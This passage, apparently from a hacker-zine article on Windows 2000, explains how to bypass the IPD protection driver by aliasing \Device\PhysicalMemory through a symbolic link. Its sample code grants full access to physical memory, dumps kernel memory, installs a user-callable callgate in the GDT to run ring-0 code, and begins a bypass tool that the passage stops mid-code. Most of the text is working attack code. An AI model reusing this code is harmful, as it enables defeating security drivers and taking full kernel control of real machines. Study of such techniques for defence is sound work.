In order to restrict access to \Device\PhysicalMemory IPD hooks
ZwOpenSection() and check that the Section being opened is not called
"\Device\PhysicalMemory".

---
from h_mem.c
   if (restrictEnabled()) {
      if (ObjectAttributes && ObjectAttributes->ObjectName &&
          ObjectAttributes->ObjectName->Length>0) {
          if (_wcsicmp(ObjectAttributes->ObjectName->Buffer,
                       L"\\Device\\PhysicaMemory")==0) {
             WCHAR buf[200];
             swprintf(buf,
                      L"Blocking device/PhysicalMemory access,
                      procid=0x%x\n", PsGetCurrentProcessId());
             debugOutput(buf);
             return STATUS_ACCESS_DENIED;
          }
       }
    }
---

_wcsicmp() perform a lowercase comparison of 2 Unicode buffer so if we find
a way to open the object using another name we are done :).
In first chapter we have seen that there were a symbolic link object type
so what's about creating a symbolic link object linked to
\Device\PhysicalMemory ?
By looking at ntdll.dll export table, you can find a function called
"NtCreateSymbolicLinkObject" but like most of interesting things it's not
documented. The prototype is like this:

NTSTATUS NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,
                                    ACCESS_MASK DesiredAccess,
                                    POBJECT_ATTRIBUTES ObAttributes,
                                    PUNICODE_STRING ObName);

So we just have to call this function with "\Device\PhysicalMemory" as the
ObName and we set our new name in the OBJECT_ATTRIBUTES structures. We use
"\??\" as root directory for our object so the name is now
"\??\hack_da_ipd".
At the beginning i was asking myself how the kernel would resolve the
symbolic link when calling NtOpenSection with "\??\hack_da_ipd". If
NtOpenSection was checking that the destination object is a symbolic link
and then recall NtOpenSection with the real name of the object, our
symbolic link would be useless because IPD could detect it.
So i straced it:

---
[...]
3 NtCreateSymbolicLinkObject(0x1, {24, 0, 0x40, 0, 0,
     "\??\hack_da_ipd"}, 1245028, ... 48, ) == 0x0
4 NtAllocateVirtualMemory(-1, 1244448, 0, 1244480, 4096, 4, ... ) == 0x0
5 NtRequestWaitReplyPort(36, {124, 148, 0, 16711934, 4222620, 256, 0}, ...           
     {124, 148, 2, 868, 840, 7002, 0}, ) == 0x0
6 NtOpenSection (0x4, {24, 0, 0x40, 0, 0, "\??\hack_da_ipd"}, ... 44, )  
     == 0x0
7 NtRequestWaitReplyPort (36, {124, 148, 0, 868, 840, 7002, 0}, ... {124,
     148, 2, 868, 840, 7003, 0}, ) == 0x0
8 NtClose (44, ... ) == 0x0
9 NtClose (48, ... ) == 0x0
[...]
---

(a strace for Windows is avaible at BindView's RAZOR web site. see [7])

As you can see NtOpenSection doesn't recall itself with the real name of
the object so all is good.
At this point \Device\PhysicalMemory is our so IPD is 100% corrupted :p as
we can read/write whereever we want in the memory.
Remember that you must run this program with user SYSTEM.


--[ 5 - Sample code

LICENSE:
Sample code provided with the article may be copied/duplicated and modified
in any form as long as this copyright is prepended unmodified.
Code are proof of concept and the author can and must not be made
responsible for any damage/data loss.
Use this code at your own risk.

                                            crazylord / CNS


----[ 5.1 kmem.h

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_KERNEL_HANDLE    0x00000200L

typedef LONG NTSTATUS;
#define STATUS_SUCCESS       (NTSTATUS) 0x00000000L
#define STATUS_ACCESS_DENIED (NTSTATUS) 0xC0000022L

#define MAKE_DWORD(_l, _h) (DWORD) (_l | (_h << 16))

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

// useful macros
#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );        \
    (p)->RootDirectory = r;                           \
    (p)->Attributes = a;                              \
    (p)->ObjectName = n;                              \
    (p)->SecurityDescriptor = s;                      \
    (p)->SecurityQualityOfService = NULL;             \
    }

#define INIT_UNICODE(_var,_buffer)            \
        UNICODE_STRING _var = {               \
            sizeof (_buffer) - sizeof (WORD), \
            sizeof (_buffer),                 \
            _buffer }

// callgate info
typedef struct _KGDTENTRY {
   WORD LimitLow;
   WORD BaseLow;
   WORD BaseHigh;
} KGDTENTRY, *PKGDTENTRY;

typedef struct _CALLGATE_DESCRIPTOR {
   USHORT offset_0_15;
   USHORT selector;
   UCHAR  param_count :4;
   UCHAR  some_bits   :4;
   UCHAR  type        :4;
   UCHAR  app_system  :1;
   UCHAR  dpl         :2;
   UCHAR  present     :1;
   USHORT offset_16_31;
} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;

// section info
typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
typedef enum _SECTION_INHERIT {
    ViewShare = 1,
    ViewUnmap = 2
} SECTION_INHERIT;

typedef struct _MAPPING {
/*000*/ PHYSICAL_ADDRESS pAddress;
/*008*/ PVOID            vAddress;
/*00C*/ DWORD            Offset;
/*010*/ } MAPPING, *PMAPPING;

// symlink info
#define SYMBOLIC_LINK_QUERY                              (0x0001)
#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)

// process info
// Flink to _EPROCESS
#define TO_EPROCESS(_a) ((DWORD) _a - 0xA0)
// Flink to UniqueProcessId
#define TO_PID(_a) (DWORD) ((DWORD) _a - 0x4)
// Flink to ImageFileName
#define TO_PNAME(_a) (PCHAR) ((DWORD) _a + 0x15C)

typedef struct _DISPATCHER_HEADER {
/*000*/ UCHAR Type;
/*001*/ UCHAR Absolute;
/*002*/ UCHAR Size;
/*003*/ UCHAR Inserted;
/*004*/ LONG SignalState;
/*008*/ LIST_ENTRY WaitListHead;
/*010*/ } DISPATCHER_HEADER;

typedef struct _KEVENT {
/*000*/ DISPATCHER_HEADER Header;
/*010*/ } KEVENT, *PKEVENT;

typedef struct _FAST_MUTEX {
/*000*/ LONG Count;
/*004*/ PVOID Owner;
/*008*/ ULONG Contention;
/*00C*/ KEVENT Event;
/*01C*/ ULONG OldIrql;
/*020*/ } FAST_MUTEX, *PFAST_MUTEX;

// the two following definition come from w2k_def.h by Sven B. Schreiber
typedef struct _MMSUPPORT {
/*000*/ LARGE_INTEGER LastTrimTime;
/*008*/ DWORD         LastTrimFaultCount;
/*00C*/ DWORD         PageFaultCount;
/*010*/ DWORD         PeakWorkingSetSize;
/*014*/ DWORD         WorkingSetSize;
/*018*/ DWORD         MinimumWorkingSetSize;
/*01C*/ DWORD         MaximumWorkingSetSize;
/*020*/ PVOID         VmWorkingSetList;
/*024*/ LIST_ENTRY    WorkingSetExpansionLinks;
/*02C*/ BOOLEAN       AllowWorkingSetAdjustment;
/*02D*/ BOOLEAN       AddressSpaceBeingDeleted;
/*02E*/ BYTE          ForegroundSwitchCount;
/*02F*/ BYTE          MemoryPriority;
/*030*/ } MMSUPPORT, *PMMSUPPORT;

typedef struct _IO_COUNTERS {
/*000*/ ULONGLONG  ReadOperationCount;
/*008*/ ULONGLONG  WriteOperationCount;
/*010*/ ULONGLONG  OtherOperationCount;
/*018*/ ULONGLONG ReadTransferCount;
/*020*/ ULONGLONG WriteTransferCount;
/*028*/ ULONGLONG OtherTransferCount;
/*030*/ } IO_COUNTERS, *PIO_COUNTERS;

// this is a very simplified version :) of the EPROCESS
// structure.

typedef struct _EPROCESS {
/*000*/ BYTE                   Pcb[0x6C];
/*06C*/ NTSTATUS               ExitStatus;
/*070*/ KEVENT                 LockEvent;
/*080*/ DWORD                  LockCount;
/*084*/ DWORD                  dw084;
/*088*/ LARGE_INTEGER          CreateTime;
/*090*/ LARGE_INTEGER          ExitTime;
/*098*/ PVOID                  LockOwner;
/*09C*/ DWORD                  UniqueProcessId;
/*0A0*/ LIST_ENTRY             ActiveProcessLinks; // see PsActiveListHead
/*0A8*/ DWORD                  QuotaPeakPoolUsage[2]; // NP, P
/*0B0*/ DWORD                  QuotaPoolUsage[2]; // NP, P
/*0B8*/ DWORD                  PagefileUsage;
/*0BC*/ DWORD                  CommitCharge;
/*0C0*/ DWORD                  PeakPagefileUsage;
/*0C4*/ DWORD                  PeakVirtualSize;
/*0C8*/ LARGE_INTEGER          VirtualSize;
/*0D0*/ MMSUPPORT              Vm;
/*100*/ LIST_ENTRY             SessionProcessLinks;
/*108*/ DWORD                  dw108[6];
/*120*/ PVOID                  DebugPort;
/*124*/ PVOID                  ExceptionPort;
/*128*/ PVOID                  ObjectTable;
/*12C*/ PVOID                  Token;
/*130*/ FAST_MUTEX             WorkingSetLock;
/*150*/ DWORD                  WorkingSetPage;
/*154*/ BOOLEAN                ProcessOutswapEnabled;
/*155*/ BOOLEAN                ProcessOutswapped;
/*156*/ BOOLEAN                AddressSpaceInitialized;
/*157*/ BOOLEAN                AddressSpaceDeleted;
/*158*/ FAST_MUTEX             AddressCreationLock;
/*178*/ KSPIN_LOCK             HyperSpaceLock;
/*17C*/ DWORD                  ForkInProgress;
/*180*/ WORD                   VmOperation;
/*182*/ BOOLEAN                ForkWasSuccessful;
/*183*/ BYTE                   MmAgressiveWsTrimMask;
/*184*/ DWORD                  VmOperationEvent;
/*188*/ PVOID                  PaeTop;
/*18C*/ DWORD                  LastFaultCount;
/*190*/ DWORD                  ModifiedPageCount;
/*194*/ PVOID                  VadRoot;
/*198*/ PVOID                  VadHint;
/*19C*/ PVOID                  CloneRoot;
/*1A0*/ DWORD                  NumberOfPrivatePages;
/*1A4*/ DWORD                  NumberOfLockedPages;
/*1A8*/ WORD                   NextPageColor;
/*1AA*/ BOOLEAN                ExitProcessCalled;
/*1AB*/ BOOLEAN                CreateProcessReported;
/*1AC*/ HANDLE                 SectionHandle;
/*1B0*/ PVOID                  Peb;
/*1B4*/ PVOID                  SectionBaseAddress;
/*1B8*/ PVOID                  QuotaBlock;
/*1BC*/ NTSTATUS               LastThreadExitStatus;
/*1C0*/ DWORD                  WorkingSetWatch;
/*1C4*/ HANDLE                 Win32WindowStation;
/*1C8*/ DWORD                  InheritedFromUniqueProcessId;
/*1CC*/ ACCESS_MASK            GrantedAccess;
/*1D0*/ DWORD                  DefaultHardErrorProcessing; // HEM_*
/*1D4*/ DWORD                  LdtInformation;
/*1D8*/ PVOID                  VadFreeHint;
/*1DC*/ DWORD                  VdmObjects;
/*1E0*/ PVOID                  DeviceMap;
/*1E4*/ DWORD                  SessionId;
/*1E8*/ LIST_ENTRY             PhysicalVadList;
/*1F0*/ PVOID                  PageDirectoryPte;
/*1F4*/ DWORD                  dw1F4;
/*1F8*/ DWORD                  PaePageDirectoryPage;
/*1FC*/ CHAR                   ImageFileName[16];
/*20C*/ DWORD                  VmTrimFaultValue;
/*210*/ BYTE                   SetTimerResolution;
/*211*/ BYTE                   PriorityClass;
/*212*/ WORD                   SubSystemVersion;
/*214*/ PVOID                  Win32Process;
/*218*/ PVOID                  Job;
/*21C*/ DWORD                  JobStatus;
/*220*/ LIST_ENTRY             JobLinks;
/*228*/ PVOID                  LockedPagesList;
/*22C*/ PVOID                  SecurityPort;
/*230*/ PVOID                  Wow64;
/*234*/ DWORD                  dw234;
/*238*/ IO_COUNTERS            IoCounters;
/*268*/ DWORD                  CommitChargeLimit;
/*26C*/ DWORD                  CommitChargePeak;
/*270*/ LIST_ENTRY             ThreadListHead;
/*278*/ PVOID                  VadPhysicalPagesBitMap;
/*27C*/ DWORD                  VadPhysicalPages;
/*280*/ DWORD                  AweLock;
/*284*/ } EPROCESS, *PEPROCESS;


// copy ntdll.lib from Microsoft DDK to current directory
#pragma comment(lib, "ntdll")
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS _stdcall 

IMP_SYSCALL
NtMapViewOfSection(HANDLE SectionHandle,
                   HANDLE ProcessHandle,
                   PVOID *BaseAddress,
                   ULONG ZeroBits,
                   ULONG CommitSize,
                   PLARGE_INTEGER SectionOffset,
                   PSIZE_T ViewSize,
                   SECTION_INHERIT InheritDisposition,
                   ULONG AllocationType,
                   ULONG Protect);

IMP_SYSCALL
NtUnmapViewOfSection(HANDLE ProcessHandle,
                     PVOID BaseAddress);

IMP_SYSCALL
NtOpenSection(PHANDLE SectionHandle,
              ACCESS_MASK DesiredAccess,
              POBJECT_ATTRIBUTES ObjectAttributes);

IMP_SYSCALL
NtClose(HANDLE Handle);

IMP_SYSCALL
NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,
                           ACCESS_MASK DesiredAccess,
                           POBJECT_ATTRIBUTES ObjectAttributes,
                           PUNICODE_STRING TargetName);


----[ 5.2 chmod_mem.c

#include <stdio.h>
#include <windows.h>
#include <aclapi.h>
#include "..\kmem.h"

void usage(char *n) {
   printf("usage: %s (/current | /user) [who]\n", n);
   printf("/current: add all access to current user\n");
   printf("/user   : add all access to user 'who'\n");
   exit(0);
}

int main(int argc, char **argv) {
   HANDLE               Section;
   DWORD                Res;
   NTSTATUS             ntS;
   PACL                 OldDacl=NULL, NewDacl=NULL;
   PSECURITY_DESCRIPTOR SecDesc=NULL;
   EXPLICIT_ACCESS      Access;
   OBJECT_ATTRIBUTES    ObAttributes;
   INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory");
   BOOL                 mode;

   if (argc < 2)
      usage(argv[0]);

   if (!strcmp(argv[1], "/current")) {
      mode = 1;
   } else if (!strcmp(argv[1], "/user") && argc == 3) {
     mode = 2;
   } else
      usage(argv[0]);

   memset(&Access, 0, sizeof(EXPLICIT_ACCESS));
   InitializeObjectAttributes(&ObAttributes,
                              &ObName,
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                              NULL,
                              NULL);

   // open handle de \Device\PhysicalMemory
   ntS = NtOpenSection(&Section, WRITE_DAC | READ_CONTROL, &ObAttributes);
   if (ntS != STATUS_SUCCESS) {
      printf("error: NtOpenSection (code: %x)\n", ntS);
      goto cleanup;
   }
   
   // retrieve a copy of the security descriptor
   Res = GetSecurityInfo(Section, SE_KERNEL_OBJECT, 
                         DACL_SECURITY_INFORMATION, NULL, NULL, &OldDacl,
                         NULL, &SecDesc);
   if (Res != ERROR_SUCCESS) {
      printf("error: GetSecurityInfo (code: %lu)\n", Res);
      goto cleanup;
   }

   Access.grfAccessPermissions = SECTION_ALL_ACCESS; // :P
   Access.grfAccessMode        = GRANT_ACCESS;
   Access.grfInheritance       = NO_INHERITANCE;
   Access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
   // change these informations to grant access to a group or other user
   Access.Trustee.TrusteeForm  = TRUSTEE_IS_NAME;
   Access.Trustee.TrusteeType  = TRUSTEE_IS_USER;
   if (mode == 1)
      Access.Trustee.ptstrName = "CURRENT_USER";
   else
     Access.Trustee.ptstrName = argv[2];

   // create the new ACL
   Res = SetEntriesInAcl(1, &Access, OldDacl, &NewDacl);
   if (Res != ERROR_SUCCESS) {
      printf("error: SetEntriesInAcl (code: %lu)\n", Res);
      goto cleanup;
   }

   // update ACL
   Res = SetSecurityInfo(Section, SE_KERNEL_OBJECT,
                         DACL_SECURITY_INFORMATION, NULL, NULL, NewDacl, 
                         NULL);
   if (Res != ERROR_SUCCESS) {
      printf("error: SetEntriesInAcl (code: %lu)\n", Res);
      goto cleanup;
   }
   printf("\\Device\\PhysicalMemory chmoded\n");
   
cleanup:
   if (Section)
      NtClose(Section);
   if (SecDesc)
      LocalFree(SecDesc);
   return(0);
}


----[ 5.3 winkdump.c

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#include "..\kmem.h"

ULONG   Granularity;

// thanx to kraken for the hexdump function
void hexdump(unsigned char *data, unsigned int amount) {
   unsigned int      dp, p;
   const char        trans[] =
      "................................ !\"#$%&'()*+,-./0123456789"
      ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
      "nopqrstuvwxyz{|}~...................................."
      "....................................................."
      "........................................";

   for (dp = 1; dp <= amount; dp++)  {
      printf ("%02x ", data[dp-1]);
      if ((dp % 8) == 0)
         printf (" ");
      if ((dp % 16) == 0) {
         printf ("| ");
         p = dp;
         for (dp -= 16; dp < p; dp++)
            printf ("%c", trans[data[dp]]);
         printf ("\n");
      }
   }
   if ((amount % 16) != 0) {
      p = dp = 16 - (amount % 16);
      for (dp = p; dp > 0; dp--) {
         printf ("   ");
         if (((dp % 8) == 0) && (p != 8))
            printf (" ");
      }
      printf (" | ");
      for (dp = (amount - (16 - p)); dp < amount; dp++)
         printf ("%c", trans[data[dp]]);
   }
   printf ("\n");
   return ;
}

PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {
   PHYSICAL_ADDRESS  add;
   
   if (vAddress < 0x80000000L || vAddress >= 0xA0000000L)
      add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;
   else
      add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;
   return(add);
}

int InitSection(PHANDLE Section) {
   NTSTATUS          ntS;
   OBJECT_ATTRIBUTES ObAttributes;
   INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");
   
   InitializeObjectAttributes(&ObAttributes,
                              &ObString,
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                              NULL,
                              NULL);
   
   // open \Device\PhysicalMemory
   ntS = NtOpenSection(Section,
                       SECTION_MAP_READ,
                       &ObAttributes);
   
   if (ntS != STATUS_SUCCESS) {
      printf(" * error NtOpenSection (code: %x)\n", ntS);
      return(0);
   }
   return(1);
}

int main(int argc, char **argv) {
   NTSTATUS         ntS;
   ULONG            Address, Size, MappedSize, Offset;
   HANDLE           Section;
   PVOID            MappedAddress=NULL;
   SYSTEM_INFO      SysInfo;
   PHYSICAL_ADDRESS pAddress;
   
   printf(" *** win2k memory dumper ***\n\n");
   
   if (argc != 3) {
      printf("usage: %s <address> <size>\n", argv[0]);
      return(0);
   }
   
   Address = strtoul(argv[1], NULL, 0);
   MappedSize = Size = strtoul(argv[2], NULL, 10);
   printf(" Virtual Address       : 0x%.8x\n", Address);
   
   if (!Size) {
      printf("error: invalid size\n");
      return(0);
   }
   
   // get allocation granularity information
   GetSystemInfo(&SysInfo);
   Granularity = SysInfo.dwAllocationGranularity;
   printf(" Allocation granularity: %lu bytes\n", Granularity);
   if (!InitSection(&Section))
      return(0);
   
   Offset = Address % Granularity;
   MappedSize += Offset; // reajust mapping view
   printf(" Offset                : 0x%x\n", Offset);
   pAddress = GetPhysicalAddress(Address - Offset);
   printf(" Physical Address      : 0x%.16x\n", pAddress);

   ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress, 0L,
                            MappedSize, &pAddress, &MappedSize, ViewShare,
                            0, PAGE_READONLY);

   printf(" Mapped size           : %lu bytes\n", MappedSize);
   printf(" View size             : %lu bytes\n\n", Size);

   if (ntS == STATUS_SUCCESS) {
      hexdump((char *)MappedAddress+Offset, Size);
      NtUnmapViewOfSection((HANDLE) -1, MappedAddress);
   } else {
      if (ntS == 0xC00000F4L)
         printf("error: invalid physical address translation\n");
      else
         printf("error: NtMapViewOfSection (code: %x)\n", ntS);
   }

   NtClose(Section);
   return(0);
}


----[ 5.2 winkps.c

// code very messy but working :)
#include <stdio.h>
#include <windows.h>
#include "..\kmem.h"

// get this address from win2k symbols
#define PSADD    0x8046A180 // PsActiveProcessHead
// default base address for ntoskrnl.exe on win2k
#define BASEADD 0x7FFE0000 // MmGetPhysicalAddress
// max process, to prevent easy crashing
#define MAX_PROCESS 50

typedef struct _MY_CG {
   PHYSICAL_ADDRESS     pAddress;
   PVOID                MappedAddress;
   PCALLGATE_DESCRIPTOR Desc;
   WORD                 Segment;
   WORD                 LastEntry;
} MY_CG, *PMY_CG;

ULONG         Granularity;
PLIST_ENTRY   PsActiveProcessHead = (PLIST_ENTRY) PSADD;
MY_CG         GdtMap;
MAPPING       CurMap;

PHYSICAL_ADDRESS (*MmGetPhysicalAddress) (PVOID BaseAddress);

void __declspec(naked) Ring0Func() {
   _asm {
      pushad
      pushf
      cli

      mov esi, CurMap.vAddress
      push esi
      call MmGetPhysicalAddress
      mov CurMap.pAddress, eax  // save low part of LARGE_INTEGER
      mov [CurMap+4], edx       // save high part of LARGE_INTEGER

      popf
      popad
      retf
   }
}

// function which call the callgate
PHYSICAL_ADDRESS NewGetPhysicalAddress(PVOID vAddress) {
   WORD   farcall[3];
   HANDLE Thread = GetCurrentThread();

   farcall[2] = GdtMap.Segment;

   if(!VirtualLock((PVOID) Ring0Func, 0x30)) {
      printf("error: unable to lock function\n");
      CurMap.pAddress.QuadPart = 1;
   } else {
      CurMap.vAddress = vAddress; // ugly way to pass argument
      CurMap.Offset   = (DWORD) vAddress % Granularity;
      (DWORD) CurMap.vAddress -= CurMap.Offset;

      SetThreadPriority(Thread, THREAD_PRIORITY_TIME_CRITICAL);
      Sleep(0);

      _asm call fword ptr [farcall]

      SetThreadPriority(Thread,THREAD_PRIORITY_NORMAL);
      VirtualUnlock((PVOID) Ring0Func, 0x30);
   }
   return(CurMap.pAddress);
}

PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {
   PHYSICAL_ADDRESS  add;

    if (vAddress < 0x80000000L || vAddress >= 0xA0000000L) {
      add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;
   } else {
      add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;
   }
   return(add);
}

void UnmapMemory(PVOID MappedAddress) {
   NtUnmapViewOfSection((HANDLE) -1, MappedAddress);
}

int InstallCallgate(HANDLE Section, DWORD Function) {
   NTSTATUS             ntS;
   KGDTENTRY            gGdt;
   DWORD                Size;
   PCALLGATE_DESCRIPTOR CgDesc;

   _asm sgdt gGdt;

   printf("virtual address of GDT : 0x%.8x\n",
          MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));
   GdtMap.pAddress =
              GetPhysicalAddress(MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));
   printf("physical address of GDT: 0x%.16x\n", GdtMap.pAddress.QuadPart);
   
   Size = gGdt.LimitLow;
   ntS = NtMapViewOfSection(Section, (HANDLE) -1, &GdtMap.MappedAddress,
                            0L, Size, &GdtMap.pAddress, &Size, ViewShare,
                            0, PAGE_READWRITE);
   if (ntS != STATUS_SUCCESS || !GdtMap.MappedAddress) {
      printf("error: NtMapViewOfSection (code: %x)\n", ntS);
      return(0);
   }

   GdtMap.LastEntry = gGdt.LimitLow & 0xFFF8; // offset to last entry
   for(CgDesc = (PVOID) ((DWORD)GdtMap.MappedAddress+GdtMap.LastEntry),
       GdtMap.Desc=NULL;
       (DWORD) CgDesc > (DWORD) GdtMap.MappedAddress;
       CgDesc--) {
      
      //printf("present:%x, type:%x\n", CgDesc->present, CgDesc->type);
      if(CgDesc->present == 0){
         CgDesc->offset_0_15  = (WORD) (Function & 0xFFFF);
         CgDesc->selector     = 8;
         CgDesc->param_count  = 0; //1;
         CgDesc->some_bits    = 0;
         CgDesc->type         = 12;     // 32-bits callgate junior :>
         CgDesc->app_system   = 0;      // A system segment
         CgDesc->dpl          = 3;      // Ring 3 code can call
         CgDesc->present      = 1;
         CgDesc->offset_16_31 = (WORD) (Function >> 16);
         GdtMap.Desc = CgDesc;
         break;
      }

   }

   if (GdtMap.Desc == NULL) {
      printf("error: unable to find free entry for installing callgate\n");
      printf("       not normal by the way .. your box is strange =]\n");
   }

   GdtMap.Segment =
      ((WORD) ((DWORD) CgDesc - (DWORD) GdtMap.MappedAddress))|3;
   printf("Allocated segment      : %x\n", GdtMap.Segment);
   return(1);
}

int UninstallCallgate(HANDLE Section, DWORD Function) {
   PCALLGATE_DESCRIPTOR CgDesc;

   for(CgDesc = (PVOID) ((DWORD) GdtMap.MappedAddress+GdtMap.LastEntry);
       (DWORD) CgDesc > (DWORD) GdtMap.MappedAddress;
      CgDesc--) {
      
      if((CgDesc->offset_0_15 == (WORD) (Function & 0xFFFF))
         && CgDesc->offset_16_31 == (WORD) (Function >> 16)){
         memset(CgDesc, 0, sizeof(CALLGATE_DESCRIPTOR));
         return(1);
      }
   }
   NtUnmapViewOfSection((HANDLE) -1, GdtMap.MappedAddress);
   return(0);
}

void UnmapVirtualMemory(PVOID vAddress) {
   NtUnmapViewOfSection((HANDLE) -1, vAddress);
}

PVOID MapVirtualMemory(HANDLE Section, PVOID vAddress, DWORD Size) {
   PHYSICAL_ADDRESS pAddress;
   NTSTATUS         ntS;
   DWORD            MappedSize;
   PVOID            MappedAddress=NULL;

   //printf("* vAddress: 0x%.8x\n", vAddress);
   pAddress = NewGetPhysicalAddress((PVOID) vAddress);
   //printf("* vAddress: 0x%.8x (after rounding, offset: 0x%x)\n",
   //       CurMap.vAddress, CurMap.Offset);
   //printf("* pAddress: 0x%.16x\n", pAddress);

   // check for error (1= impossible value)
   if (pAddress.QuadPart != 1) {
      Size += CurMap.Offset; // adjust mapping view
      MappedSize = Size;

      ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress,
                         0L, Size, &pAddress, &MappedSize, ViewShare,
                         0, PAGE_READONLY);
      if (ntS != STATUS_SUCCESS || !MappedSize) {
         printf(" error: NtMapViewOfSection, mapping 0x%.8x (code: %x)\n",
                vAddress, ntS);
         return(NULL);
      }
   } else
      MappedAddress = NULL;
   printf("mapped 0x%x bytes @ 0x%.8x (init Size: 0x%x bytes)\n",
         MappedSize, MappedAddress, Size);
   return(MappedAddress);
}

void DisplayProcesses(HANDLE Section) {
   int i = 0;
   DWORD     Padding;
   PEPROCESS CurProcess, NextProcess;
   PVOID     vCurEntry, vOldEntry, NewMappedAddress;
   PLIST_ENTRY PsCur;

   // first we map PsActiveProcessHead to get first entry
   vCurEntry = MapVirtualMemory(Section, PsActiveProcessHead, 4);
   if (!vCurEntry)
      return;
   PsCur = (PLIST_ENTRY) ((DWORD) vCurEntry + CurMap.Offset);
   
   // most of EPROCESS struct are located around 0xfc[e-f]00000
   // so we map 0x100000 bytes (~ 1mb) to avoid heavy mem mapping
   while (PsCur->Flink != PsActiveProcessHead && i<MAX_PROCESS) {
      NextProcess = (PEPROCESS) TO_EPROCESS(PsCur->Flink);
      //printf("==> Current process: %x\n", CurProcess);

      // we map 0x100000 bytes view so we store offset to EPROCESS
      Padding = TO_EPROCESS(PsCur->Flink) & 0xFFFFF;

      // check if the next struct is already mapped in memory
      if ((DWORD) vCurEntry<= (DWORD) NextProcess 
         && (DWORD)NextProcess+sizeof(EPROCESS)<(DWORD)vCurEntry+0x100000){
         // no need to remap
         // no remapping so we need to calculate the new address
         CurProcess = (PEPROCESS) ((DWORD) NewMappedAddress + Padding);

      } else {
         CurProcess = NextProcess;
         // unmap old view and map a new one
         // calculate next base address to map
         vOldEntry = vCurEntry;
         vCurEntry = (PVOID) (TO_EPROCESS(PsCur->Flink) & 0xFFF00000);

         //printf("link: %x, process: %x, to_map: %x, padding: %x\n",
         //    PsCur->Flink, TO_EPROCESS(PsCur->Flink),
         //    vCurEntry, Padding);

         // unmap old view
         UnmapVirtualMemory(vOldEntry);
         vOldEntry = vCurEntry;
         // map new view
         vCurEntry = MapVirtualMemory(Section, vCurEntry, 0x100000);
         if (!vCurEntry)
            break;
         // adjust EPROCESS structure pointer
         CurProcess =
                 (PEPROCESS) ((DWORD) vCurEntry + CurMap.Offset + Padding);
         // save mapped address
         NewMappedAddress = vCurEntry;
         // restore pointer from mapped addresses space 0x4**** to
         // the real virtual address 0xf*******
         vCurEntry = vOldEntry;
      }

      // reajust pointer to LIST_ENTRY struct
      PsCur = &CurProcess->ActiveProcessLinks;
      printf(" + %lu\t %s\n", CurProcess->UniqueProcessId,
             CurProcess->ImageFileName[0] ?
             CurProcess->ImageFileName : "[system]");
      i++;
   }

   UnmapVirtualMemory(vCurEntry);
}

int main(int argc, char **argv) {
   SYSTEM_INFO       SysInfo;
   OBJECT_ATTRIBUTES ObAttributes;
   NTSTATUS          ntS;
   HANDLE            Section;
   HMODULE           hDll;
   INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");

   printf(" *** win2k process lister ***\n\n");

   GetSystemInfo(&SysInfo);
   Granularity = SysInfo.dwAllocationGranularity;
   printf("Allocation granularity: %lu bytes\n", Granularity);
   InitializeObjectAttributes(&ObAttributes,
                              &ObString,
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                              NULL,
                              NULL);

   hDll = LoadLibrary("ntoskrnl.exe");
   if (hDll) {
      MmGetPhysicalAddress = (PVOID) ((DWORD) BASEADD +
                    (DWORD) GetProcAddress(hDll, "MmGetPhysicalAddress"));
      printf("MmGetPhysicalAddress   : 0x%.8x\n", MmGetPhysicalAddress);
      FreeLibrary(hDll);
   }

   ntS = NtOpenSection(&Section, SECTION_MAP_READ|SECTION_MAP_WRITE,
                       &ObAttributes);
   if (ntS != STATUS_SUCCESS) {
      if (ntS == STATUS_ACCESS_DENIED)
         printf("error: access denied to open
                                      \\Device\\PhysicalMemory for r/w\n");
      else
         printf("error: NtOpenSection (code: %x)\n", ntS);
      goto cleanup;
   }

   if (!InstallCallgate(Section, (DWORD) Ring0Func))
      goto cleanup;

   memset(&CurMap, 0, sizeof(MAPPING));

   __try {
      DisplayProcesses(Section);
   } __except(UninstallCallgate(Section, (DWORD) Ring0Func), 1) {
      printf("exception: trying to clean callgate...\n");
      goto cleanup;
   }

   if (!UninstallCallgate(Section, (DWORD) Ring0Func))
      goto cleanup;

cleanup:
   if (Section)
      NtClose(Section);
   return(0);
}


----[ 5.4 fun_with_ipd.c

#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include "..\kmem.h"

int main() {
   NTSTATUS          ntS;
   HANDLE            SymLink, Section;
   OBJECT_ATTRIBUTES ObAttributes;
   INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory");
   INIT_UNICODE(ObNewName, L"\\??\\hack_da_ipd");

   InitializeObjectAttributes(&ObAttributes,
                              &ObNewName,
